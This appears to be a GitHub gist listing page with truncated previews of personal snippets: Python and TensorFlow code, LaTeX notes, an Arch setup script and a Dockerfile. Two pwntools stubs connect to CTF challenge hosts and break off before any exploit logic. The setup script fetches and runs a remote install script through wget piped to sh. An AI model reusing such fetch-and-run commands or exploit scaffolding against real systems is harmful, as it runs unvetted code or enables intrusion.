A little recursive function that return the list of absolute path of all the file in a folder.
from os import listdir
from os.path import isfile
def get_file_in_folder(path="."):
if isfile(path):
return path
A little recursive function that return the list of absolute path of all the file in a folder.
from os import listdir
from os.path import isfile
def get_file_in_folder(path="."):
if isfile(path):
return path
There are 2 main Tex Distribution for windows The main difference is that TexLive has tlmgr that allows you to make a granular installation downloading only the package that you'll need. While MikTex has tons of packagee per installed but it works too.
TexLive for windows Click here to download it (Warning: The full installation of TexLive is big and it will take a while)
Since GitHub READEME doesn't seems to sopport math mode like $\int_0^1 cos(\theta) d\theta = 1$
We can workaround this using codecogs which is an online latex equation editor which provvides it's outpus as gifs.
The base gif url is https://latex.codecogs.com/gif.latex?
which is followed by the percentage encoded query.
So i made this function to convert an equation to a Markdown image:
#!/bin/bash | |
sudo pacman -Syu base-devel git gdb vim nano terminator net-tools netcat zsh linux419-headers gparted neofetch htop nmap jdk-openjdk pycharm-community-edition | |
yay -S google-chrome code gitkraken spotify telegram-desktop | |
yay -S nvidia nvidia-utils lib32-nvidia-utils nvidia-settings | |
# Setup Zsh | |
sh -c "$(wget -O- https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" | |
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions |
from pwn import * | |
s = remote("admpanel2-01.play.midnightsunctf.se", 31337) | |
system = 0x000000000401598 | |
username_addr = 0x000000000040159B | |
s.sendline("1") | |
s.sendline("admin") | |
s.sendline("password") |
############################### | |
# Add shell-escape | |
############################### | |
$latex = 'latex %O --shell-escape %S'; | |
$pdflatex = 'pdflatex %O --shell-escape %S'; | |
############################### | |
# Post processing of pdf file # | |
############################### |
from mongo:latest | |
ENV DEBIAN_FRONTEND=noninteractive | |
# 32 bit | |
RUN dpkg --add-architecture i386 | |
RUN apt-get update -qyy && apt-get install -qyy apt-utils build-essential software-properties-common | |
########################################################### | |
# Basic devel tools | |
########################################################### |
To check if tensorflow can detect any GPU just run
python -c "import tensorflow as tf;print(tf.test.is_gpu_available(True))"
If the GPUs are available it should print True.
The easiest way to setup cuda and tensorflow-gpu is to install everything using anaconda. Anaconda do not requires root permissions and create a self-contained folder in $HOME/anaconda3.
import tensorflow as tf | |
import tensorflow.keras.backend as K | |
from tensorflow.keras.metrics import Metric, AUC | |
from tensorflow.keras.backend import epsilon | |
class ConfusionMatrixMetric(Metric): | |
def __init__(self, name, **kwargs): | |
super(ConfusionMatrixMetric, self).__init__(name=name, **kwargs) | |
self.tp = self.add_weight(name='tp', initializer='zeros') | |
self.fp = self.add_weight(name='fp', initializer='zeros') |
from pwn import * | |
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') | |
host = '13.231.226.137' | |
port = 9573 | |
p = remote(host, port) | |
def op(): |